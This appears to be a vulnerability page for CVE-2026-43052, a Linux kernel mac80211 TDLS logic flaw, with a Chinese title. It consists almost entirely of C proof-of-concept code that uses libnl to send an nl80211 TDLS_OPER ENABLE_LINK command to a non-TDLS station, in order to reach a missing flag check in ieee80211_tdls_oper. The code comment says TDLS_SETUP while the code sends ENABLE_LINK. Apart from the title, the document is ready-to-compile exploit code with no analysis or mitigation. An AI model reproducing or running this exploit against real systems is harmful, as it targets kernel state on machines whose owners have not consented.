CVE-2026-43052: Linux内核mac80211 TDLS操作逻辑漏洞

/* * PoC for CVE-2026-43052 * This PoC demonstrates sending a TDLS_SETUP request to a non-TDLS station * to trigger the missing flag check in ieee80211_tdls_oper. * Compile with: gcc -o poc_tdls poc_tdls.c -lnl-3 -lnl-genl-3 */ #include <netlink/netlink.h> #include <netlink/genl/genl.h> #include <netlink/genl/ctrl.h> #include <linux/nl80211.h> #include <stdio.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { struct nl_sock *sock; struct nl_msg *msg; int family_id; const char *iface = "wlan0"; // Change to your wireless interface int ifindex; // 1. Allocate and connect Netlink socket sock = nl_socket_alloc(); if (!sock) { perror("nl_socket_alloc"); return -1; } if (genl_connect(sock)) { perror("genl_connect"); goto err_out; } // 2. Resolve nl80211 generic netlink family family_id = genl_ctrl_resolve(sock, "nl80211"); if (family_id < 0) { fprintf(stderr, "nl80211 not found\n"); goto err_out; } ifindex = if_nametoindex(iface); if (ifindex == 0) { perror("if_nametoindex"); goto err_out; } // 3. Construct the Netlink message msg = nlmsg_alloc(); if (!msg) { perror("nlmsg_alloc"); goto err_out; } // NL80211_CMD_TDLS_OPER genlmsg_put(msg, NL_AUTO_PID, NL_AUTO_SEQ, family_id, 0, 0, NL80211_CMD_TDLS_OPER, 0); // NL80211_ATTR_IFINDEX nla_put_u32(msg, NL80211_ATTR_IFINDEX, ifindex); // NL80211_ATTR_MAC (Target Station MAC - e.g., the AP MAC) // Using a dummy MAC here, replace with actual AP MAC for testing unsigned char mac[6] = {0x00, 0x11, 0x22, 0x33, 0x44, 0x55}; nla_put(msg, NL80211_ATTR_MAC, 6, mac); // NL80211_ATTR_TDLS_OPERATION: NL80211_TDLS_ENABLE_LINK // This triggers the vulnerable code path on a non-TDLS station nla_put_u32(msg, NL80211_ATTR_TDLS_OPERATION, NL80211_TDLS_ENABLE_LINK); // 4. Send the message printf("Sending malicious TDLS_ENABLE_LINK operation to non-TDLS station...\n"); nl_send_auto(sock, msg); nlmsg_free(msg); err_out: nl_socket_free(sock); return 0; }